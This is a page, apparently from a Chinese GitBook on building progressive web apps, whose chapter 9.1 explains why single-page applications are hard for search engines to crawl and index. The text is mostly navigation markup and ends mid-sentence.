    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>9.1 搜索引擎收录 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"2-pwa-and-amp-and-mip.html\" />\n    \n    \n    <link rel=\"prev\" href=\"../chapter09.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter active\" data-level=\"1.10.1\" data-path=\"1-search-engine-index.html\">\n            \n                <a href=\"1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"4-preload-pwa.html\">\n            \n                <a href=\"4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >9.1 搜索引擎收录</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6536;&#x5F55;\"><b></b>&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6536;&#x5F55;</a></li></ul></div><a href=\"#&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6536;&#x5F55;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6536;&#x5F55;\"><a name=\"&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6536;&#x5F55;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6536;&#x5F55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6536;&#x5F55;\" class=\"plugin-anchor\" href=\"#&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6536;&#x5F55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6536;&#x5F55;</h1>\n<p>&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x4F5C;&#x4E3A; Web &#x7684;&#x91CD;&#x8981;&#x7684;&#x6D41;&#x91CF;&#x5165;&#x53E3;&#xFF0C;&#x662F;&#x6BCF;&#x4E2A; Web App &#x5F00;&#x53D1;&#x8005;&#x6216;&#x8FD0;&#x8425;&#x8005;&#x9700;&#x8981;&#x91CD;&#x70B9;&#x5173;&#x6CE8;&#x7684;&#x4E00;&#x4E2A;&#x65B9;&#x5411;&#xFF0C;&#x800C; PWA &#x4F5C;&#x4E3A; Web &#x7684;&#x4E00;&#x79CD;&#x5F62;&#x5F0F;&#xFF0C;&#x81EA;&#x7136;&#x662F;&#x9700;&#x8981;&#x5173;&#x6CE8;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x5BF9;&#x5B83;&#x7684;&#x6293;&#x53D6;&#x548C;&#x6536;&#x5F55;&#x60C5;&#x51B5;&#x3002;&#x901A;&#x5E38; PWA &#x591A;&#x6570;&#x662F; SPA&#xFF0C;&#x6709;&#x4EE5;&#x4E0B;&#x51E0;&#x4E2A;&#x539F;&#x56E0;&#xFF1A;</p>\n<ul>\n<li>SPA &#x5929;&#x7136;&#x5177;&#x6709; App Shell&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x4F5C;&#x4E3A;&#x5165;&#x53E3;&#x7684; HTML&#x3002;</li>\n<li>App Shell &#x548C; Service Worker &#x914D;&#x5957;&#x4F7F;&#x7528;&#x975E;&#x5E38;&#x5408;&#x9002;&#x3002;</li>\n<li>&#x9875;&#x9762;&#x95F4;&#x5207;&#x6362;&#x987A;&#x7545;&#xFF0C;&#x4F53;&#x9A8C;&#x826F;&#x597D;&#x3002;</li>\n</ul>\n<p>&#x65E9;&#x671F;&#x7684;&#x51E0;&#x4E4E;&#x6240;&#x6709;&#x7684;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x90FD;&#x4E0D;&#x652F;&#x6301;&#x7D22;&#x5F15; SPA&#xFF0C;&#x8FD9;&#x5BFC;&#x81F4; SPA &#x9879;&#x76EE;&#x5F88;&#x5C11;&#x5E94;&#x7528;&#x4E8E;&#x4F9D;&#x8D56;&#x6D41;&#x91CF;&#x7684;&#x7528;&#x6237;&#x4EA7;&#x54C1;&#x7C7B;&#x7684; Web App&#xFF0C;&#x901A;&#x5E38;&#x90FD;&#x53EA;&#x662F;&#x4F5C;&#x4E3A;&#x5185;&#x90E8;&#x9879;&#x76EE;&#x7684;&#x6280;&#x672F;&#x9009;&#x578B;&#xFF0C;&#x5F53;&#x7136;&#x8FD9;&#x4E5F;&#x662F;&#x65E9;&#x671F; Web &#x7528;&#x6237;&#x4F53;&#x9A8C;&#x8F83;&#x5DEE;&#x7684;&#x4E00;&#x4E2A;&#x539F;&#x56E0;&#x4E4B;&#x4E00;&#x3002;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x4E0D;&#x80FD;&#x6293;&#x53D6;&#x548C;&#x6536;&#x5F55; SPA &#x6709;&#x4EE5;&#x4E0B;&#x51E0;&#x4E2A;&#x539F;&#x56E0;&#xFF1A;</p>\n<ul>\n<li>&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x53EA;&#x662F;&#x6293;&#x53D6;&#x670D;&#x52A1;&#x7AEF;&#x76F4;&#x51FA;&#x7684; HTML&#x9875;&#x9762;&#xFF0C;&#x5E76;&#x4E0D;&#x4F1A;&#x53BB;&#x6267;&#x884C;&#x9875;&#x9762;&#x91CC;&#x5305;&#x542B;&#x7684; JS &#x4EE3;&#x7801;&#xFF0C;&#x6240;&#x4EE5;&#x65E0;&#x6CD5;&#x6293;&#x53D6; SPA &#x524D;&#x7AEF;&#x6E32;&#x67D3;&#x540E;&#x7684;&#x5185;&#x5BB9;&#x3002;</li>\n<li>&#x8DEF;&#x7531;&#x91C7;&#x7528; hash &#x6A21;&#x5F0F;&#x7684; SPA &#x9875;&#x9762;&#x6CA1;&#x6709;&#x552F;&#x4E00;&#x7684; URL&#xFF0C;&#x6574;&#x4E2A; SPA &#x7AD9;&#x70B9;&#x90FD;&#x5BF9;&#x5E94;&#x540C;&#x4E00;&#x4E2A; URL&#x3002;</li>\n</ul>\n<p>&#x597D;&#x6D88;&#x606F;&#x662F; Google &#x5728; 2015-10-14 &#x5BA3;&#x5E03;&#x5176;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x53EF;&#x4EE5;&#x548C;&#x73B0;&#x4EE3;&#x6D4F;&#x89C8;&#x5668;&#x4E00;&#x6837;&#x6293;&#x53D6;&#x9875;&#x9762;&#x4E2D;&#x901A;&#x8FC7; JavaScript &#x6267;&#x884C;&#x6E32;&#x67D3;&#x7684;&#x5185;&#x5BB9;<a href=\"https://webmasters.googleblog.com/2015/10/deprecating-our-ajax-crawling-scheme.html\" target=\"_blank\">https://webmasters.googleblog.com/2015/10/deprecating-our-ajax-crawling-scheme.html</a>&#xFF0C;&#x8FD9;&#x6837;&#x7684;&#x8BDD;&#xFF0C;SPA &#x5728;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x4E2D;&#x7684;&#x6293;&#x53D6;&#x548C;&#x6536;&#x5F55;&#x95EE;&#x9898;&#x5C31;&#x89E3;&#x51B3;&#x4E86;&#x5927;&#x534A;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; pushState API &#x7684;&#x65B9;&#x5F0F;&#x6765;&#x6539;&#x53D8; URL&#xFF0C;&#x4EE3;&#x66FF; hash &#x65B9;&#x6848;&#xFF0C;&#x901A;&#x8FC7;&#x524D;&#x7AEF;&#x8DEF;&#x7531;&#x7BA1;&#x7406;&#x7684;&#x65B9;&#x5F0F;&#x8BA9; URL &#x548C; SPA &#x7684;&#x9875;&#x9762;&#x4E00;&#x4E00;&#x5BF9;&#x5E94;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x5B8C;&#x7F8E;&#x7684;&#x89E3;&#x51B3;&#x4E86; SPA &#x5728;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x4E2D;&#x7684;&#x6293;&#x53D6;&#x548C;&#x6536;&#x5F55;&#x95EE;&#x9898;&#x3002;</p>\n<p>&#x4F46;&#x662F;&#x4E8B;&#x5B9E;&#x5E76;&#x975E;&#x5982;&#x6B64;&#xFF0C;&#x8FD9;&#x4EC5;&#x4EC5;&#x662F; Google &#x63D0;&#x51FA;&#x5E76;&#x5B9E;&#x8DF5;&#x51FA;&#x6765;&#x4E86;&#x7684;&#x65B9;&#x6848;&#xFF0C;&#x800C;&#x73B0;&#x5728;&#x5E02;&#x573A;&#x4E0A;&#x5B58;&#x5728;&#x7684;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x8FD8;&#x6709;&#x975E;&#x5E38;&#x591A;&#xFF0C;&#x5B83;&#x4EEC;&#x5E76;&#x6CA1;&#x6709;&#x90FD;&#x50CF; Google &#x4E00;&#x6837;&#x5B8C;&#x5168;&#x652F;&#x6301;&#x4E86;&#x6293;&#x53D6; SPA&#x3002;&#x5728;&#x4E2D;&#x56FD;&#xFF0C;&#x767E;&#x5EA6;&#x4F5C;&#x4E3A;&#x6700;&#x5927;&#x7684;&#x4E2D;&#x6587;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#xFF0C;&#x4ECE; 2018 &#x5E74;&#x624D;&#x5F00;&#x59CB;&#x9010;&#x6E10;&#x652F;&#x6301;&#x5BF9;&#x79FB;&#x52A8;&#x7AEF;&#x7F51;&#x9875;&#x7684; JavaScript &#x6E32;&#x67D3;&#x5185;&#x5BB9;&#x7684;&#x6293;&#x53D6;&#x3002;&#x751A;&#x81F3;&#x76F4;&#x5230;&#x4ECA;&#x5929;&#x5E02;&#x573A;&#x8FD8;&#x6709;&#x5F88;&#x591A;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x5E76;&#x6CA1;&#x6709;&#x652F;&#x6301;&#x5728;&#x6293;&#x53D6;&#x9875;&#x9762;&#x7684;&#x65F6;&#x5019;&#x8FD0;&#x884C; JavaScript&#x3002;&#x56E0;&#x6B64;&#x8BB8;&#x591A;&#x5F00;&#x53D1;&#x8005;&#x6216;&#x8FD0;&#x8425;&#x8005;&#x4E3A;&#x4E86;&#x517C;&#x987E;&#x6240;&#x6709;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x7684;&#x6D41;&#x91CF;&#xFF0C;&#x8FD8;&#x662F;&#x4E0D;&#x613F;&#x610F;&#x5C1D;&#x8BD5;&#x5C06;&#x6574;&#x4E2A;&#x7AD9;&#x70B9;&#x6539;&#x9020;&#x4E3A; SPA&#x3002;</p>\n<p>&#x90A3;&#x4E48;&#xFF0C;SPA &#x4F5C;&#x4E3A; PWA &#x7684;&#x4E3B;&#x8981;&#x5B58;&#x5728;&#x5F62;&#x6001;&#x4E4B;&#x4E00;&#xFF0C;&#x5982;&#x4F55;&#x8BA9;&#x5F00;&#x53D1;&#x8005;&#x6216;&#x8FD0;&#x8425;&#x8005;&#x5728;&#x8FD9;&#x6837;&#x7684;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x73AF;&#x5883;&#x4E0B;&#x53BB;&#x8BA9;&#x81EA;&#x5DF1;&#x7684; Web App &#x6539;&#x9020;&#x6210; SPA &#x751A;&#x81F3;&#x662F; PWA 